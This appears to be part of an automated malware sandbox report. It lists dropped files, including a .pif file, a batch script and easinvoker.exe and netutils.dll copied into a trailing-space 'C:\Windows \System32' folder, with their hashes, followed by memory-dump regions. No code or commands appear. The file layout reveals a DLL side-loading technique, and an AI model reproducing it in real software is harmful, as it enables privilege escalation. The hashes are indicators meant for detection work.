9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

Download Submit
C:\Users\Public\Libraries\fxwvcivD.pif
Filesize
66KB

MD5
c116d3604ceafe7057d77ff27552c215

SHA1
452b14432fb5758b46f2897aeccd89f7c82a727d

SHA256
7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

SHA512
9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

Download Submit
C:\Users\Public\Libraries\netutils.dll
Filesize
110KB

MD5
b375e74a145c45d07190212e9157e5f8

SHA1
59d3de7748e1090ce95523601224ce5ab6cc4a3a

SHA256
6ec341496722bfdde504d430a7ece494701a9369b1fa5376ec488a77ab3c1744

SHA512
859737afb6108f131c0ac35560878359505c4f7fdd01ce468c04b15848df71f70987552a831a43ce948a37c9b1d6a434ff7f6fb5946f3730049b924d5b462ef0

Download Submit
C:\Users\Public\xuofxwvcivD.pdf
Filesize
143KB

MD5
788eaf2c21e3b1bb09f82aa767d41da2

SHA1
c01a8799b1fa61aff5ea32e95b0cf85ac7ae7cb4

SHA256
009561734bd2ba113377043d5eee8e5fec9185100aef254f149ff7c20b20c94f

SHA512
bb6160addb93e3500f94e09dba6c41f92b100d9e2fac86b5c97aa0c84e44f1238caa2db49f3fb2d5426bc9e18f0ae3cdf49efe64a59a9e2162480262ac3f9bfa

Download Submit
C:\Windows \System32\easinvoker.exe
Filesize
128KB

MD5
231ce1e1d7d98b44371ffff407d68b59

SHA1
25510d0f6353dbf0c9f72fc880de7585e34b28ff

SHA256
30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

SHA512
520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

Download Submit
C:\Windows \System32\easinvoker.exe
Filesize
128KB

MD5
231ce1e1d7d98b44371ffff407d68b59

SHA1
25510d0f6353dbf0c9f72fc880de7585e34b28ff

SHA256
30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

SHA512
520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

Download Submit
C:\Windows \System32\netutils.dll
Filesize
110KB

MD5
b375e74a145c45d07190212e9157e5f8

SHA1
59d3de7748e1090ce95523601224ce5ab6cc4a3a

SHA256
6ec341496722bfdde504d430a7ece494701a9369b1fa5376ec488a77ab3c1744

SHA512
859737afb6108f131c0ac35560878359505c4f7fdd01ce468c04b15848df71f70987552a831a43ce948a37c9b1d6a434ff7f6fb5946f3730049b924d5b462ef0

Download Submit
C:\Windows \System32\netutils.dll
Filesize
110KB

MD5
b375e74a145c45d07190212e9157e5f8

SHA1
59d3de7748e1090ce95523601224ce5ab6cc4a3a

SHA256
6ec341496722bfdde504d430a7ece494701a9369b1fa5376ec488a77ab3c1744

SHA512
859737afb6108f131c0ac35560878359505c4f7fdd01ce468c04b15848df71f70987552a831a43ce948a37c9b1d6a434ff7f6fb5946f3730049b924d5b462ef0

Download Submit
C:\windows \system32\KDECO.bat
Filesize
155B

MD5
213c60adf1c9ef88dc3c9b2d579959d2

SHA1
e4d2ad7b22b1a8b5b1f7a702b303c7364b0ee021

SHA256
37c59c8398279916cfce45f8c5e3431058248f5e3bef4d9f5c0f44a7d564f82e

SHA512
fe897d9caa306b0e761b2fd61bb5dc32a53bfaad1ce767c6860af4e3ad59c8f3257228a6e1072dab0f990cb51c59c648084ba419ac6bc5c0a99bdffa569217b7

Download Submit
memory/2472-201-0x00000251860E0000-0x0000025186102000-memory.dmp

Filesize
136KB

Download
memory/2472-210-0x0000025186110000-0x0000025186120000-memory.dmp

Filesize
64KB

Download
memory/2472-208-0x0000025186110000-0x0000025186120000-memory.dmp

Filesize
64KB

Download
memory/3068-137-0x0000000005A20000-0x0000000006048000-memory.dmp

Filesize
6.2MB

Download
memory/3068-154-0x00000000077E0000-0x00000000077FA000-memory.dmp

Filesize
104KB

Download
memory/3068-157-0x0000000007CA0000-0x0000000007CC2000-memory.dmp

Filesize
136KB

Download
memory/3068-136-0x0000000005270000-0x00000000052A6000-memory.dmp

Filesize
216KB

Download
memory/3068-153-0x0000000007E90000-0x000000000850A000-memory.dmp

Filesize
6.5MB

Download
memory/3068-152-0x00000000053E0000-0x00000000053F0000-memory.dmp

Filesize
64KB

Download
memory/3068-151-0x0000000006700000-0x000000000671E000-memory.dmp

Filesize
120KB

Download
memory/3068-141-0x0000000006130000-0x0000000006196000-memory.dmp

Filesize
408KB

Download
memory/3068-140-0x00000000060C0000-0x0000000006126000-memory.dmp

Filesize
408KB

Download
memory/3068-139-0x0000000005970000-0x0000000005992000-memory.dmp

Filesize
136KB

Download
memory/3068-138-0x00000000053E0000-0x00000000053F0000-memory.dmp

Filesize
64KB

Download
memory/3068-135-0x00000000053E0000-0x00000000053F0000-memory.dmp

Filesize
64KB

Download
memory/3068-156-0x0000000007D10000-0x0000000007DA6000-memory.dmp

Filesize
600KB

Download
memory/3068-158-0x0000000008AC0000-0x0000000009064000-memory.dmp

Filesize
5.6MB

Download
memory/3740-170-0x0000000000400000-0x00000000004DF000-memory.dmp

Filesize
892KB

Download
memory/3740-280-0x0000000010590000-0x0000000010613000-memory.dmp

Filesize
524KB

Download
memory/3740-270-0x0000000010590000-0x0000000010613000-memory.dmp

Filesize
524KB

Download
memory/3740-167-0x0000000002430000-0x000000000245C000-memory.dmp

Filesize
176KB

Download
memory/3740-169-0x0000000000700000-0x0000000000701000-memory.dmp

Filesize
4KB

Download
memory/4140-196-0x00000000613C0000-0x00000000613E2000-memory.dmp

Filesize
136KB

Download
memory/4932-281-0x00000000005E0000-0x00000000005E1000-memory.dmp

Filesize
4KB

Download
memory/4932-295-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

Download
memory/4932-274-0x0000000000580000-0x0000000000581000-memory.dmp

Filesize
4KB

Download
memory/4932-282-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

Download
memory/4932-285-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

Download
memory/4932-287-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

Download
memory/4932-288-0x0000000010590000-0x0000000010613000-memory.dmp

Filesize
524KB

Download
memory/4932-317-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

Download
memory/4932-273-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/4932-292-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/4932-293-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

Download
memory/4932-316-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

Download
memory/4932-296-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

Download
memory/4932-299-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

Download
memory/4932-300-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

Download
memory/4932-303-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

Download
memory/4932-304-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

Download
memory/4932-307-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

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memory/4932-308-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

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memory/4932-311-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

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memory/4932-313-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

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memory/4932-290-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

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memory/4932-289-0x0000000000630000-0x00000000006B0000-memory.dmp

Filesize
512KB

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